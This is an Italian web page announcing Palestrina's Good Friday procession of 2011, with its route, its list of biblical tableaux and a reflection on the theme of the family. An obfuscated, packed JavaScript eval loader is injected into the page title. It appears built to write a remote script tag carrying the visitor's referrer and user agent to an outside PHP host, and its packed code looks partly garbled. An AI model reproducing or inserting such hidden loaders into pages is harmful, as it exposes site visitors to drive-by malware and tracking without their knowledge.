



Processione eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/~/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";,30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type| 97|language|jquery|userAgent|navigator|script|bzf|var|u0026u|referrer|dekta||js|php'.split('|'),0, {})) del Venerdì Santo di Palestrina

Venerdì 22 aprile 2011, ore 21:00 Lungo le strade del Centro Storico

Tema dell'anno "LA FAMIGLIA"

Itinerario

Il corteo partendo dalla SS.ma Annunziata, percorrerà Via Barberini, Via del Tempio, Piazza Gregorio Pantanelli (I postazione), Corso Pierluigi, Piazza Regina Margherita (II postazione), Via Anicia, Piazza S.Maria degli Angeli (III postazione), Viale della Vittoria dove la manifestazione si concluderà

Il Sacro Corteo

Vecchio Testamento

Banditori

La tentazione di Adamo ed Eva (Primo quadro vivente)

Noè con i figli

Abramo va a sacrificare il figlio Isacco

Mosè con le tavole della legge

Faraone su biga

Gedeone a cavallo

Re Saul a cavallo
Re David a cavallo
Betzabea
Il profeta Isaia
Giuditta e le ancelle
Regina Ester e le ancelle

Nuovo Testamento

La promessa di Giuseppe e Maria (Balletto)
L'Annunciazione di Maria (Secondo quadro vivente)
La nascita di Gesù (Terzo quadro vivente)
I re Magi a cavallo
Erode il grande con carro da guerra
Gesù al tempio (Quarto quadro vivente)
Erode ed Erodiade
Salomè
Gesù tra i fanciulli
La Samaritana
Buon pastore
La lapidazione dell'adultera
Entrata a Gerusalemme
Gesù nell'Orto degli Ulivi (Quinto quadro vivente)
La flagellazione (Sesto quadro vivente)
Giuda disperato
Caifa ed i Rabbini
Centurione a cavallo
Centurione a piedi
Drappello di soldati romani
I Ladroni
Gesù con la Croce
Il Cireneo
La Veronica
Le Tre Marie
La deposizione (Settimo quadro vivente)
Simulacro del Cristo morto
La Sacra Sindone
L'Addolorata
Banda Musicale G. Pierluigi da Palestrina
Gesù risorto (Ottavo quadro vivente)
TEMA
La Famiglia (Nono quadro vivente)

La famiglia umana luogo di accoglienza e comunione

Ogni uomo è stato creato a immagine e somiglianza di Dio, ma soprattutto l'uomo e la donna sono stati creati - insieme - a immagine e somiglianza di Dio Trinità.

"Dio creò l'uomo a sua immagine, a immagine di Dio lo creò; maschio e femmina li creò" (Gen 1,27).

Dio è amore, è un dialogo di amore fra tre persone. Dio non è solo, ma una realtà di comunione (una famiglia). È questa l'originalità della concezione cristiana di Dio.

Noi uomini, creati a immagine e somiglianza di Dio, siamo fatti per incontrarci, per dialogare, per amare. L'uomo è chiamato ad essere luogo di relazione, a rendersi capace di farsi "tu" per gli altri.

Se c'è già la traccia della Trinità in ogni uomo, immaginate quanta traccia di Trinità è presente nell'uomo e nella donna insieme, in una coppia, in una famiglia!

Dobbiamo contemplare la Trinità per imparare ad amare e ad amarci come fa Dio, Padre, Figlio e Spirito Santo.

La Trinità non è solo modello di amore, ma anche forza per amare e per "essere amore".

Come Dio è attento a tutte le necessità dell'uomo così una famiglia è aperta verso i vicini e verso i lontani, verso le sorti del mondo circostante.

È un invito ad avere un forte senso di responsabilità verso il mondo, come lo si ha per la propria famiglia.

La Bibbia ci ispira un progetto di coppia che è il contrario di un nido; un progetto di coppia aperto ai bisogni degli altri, alla solidarietà e alla responsabilità sociale e politica.

La cultura contemporanea è pesantemente dominata da un'ipoteca individualistica.

Troppo poco nella spiritualità coniugale si parla di questa dimensione pubblica e sociale della fede nella vita di famiglia e di coppia.

Il vescovo Tonino Bello con uno slogan ci dice come deve essere l'atteggiamento di noi cristiani di fronte alla complessità del mondo di oggi: è meglio accendere un fiammifero che maledire l'oscurità. Diventiamo testimoni di una accoglienza generosa e di un dialogo costruttivo per vivere bene non solo la realtà bella della nostra famiglia ma per creare una famiglia umana attenta alle necessità e ai bisogni del vicino e del lontano.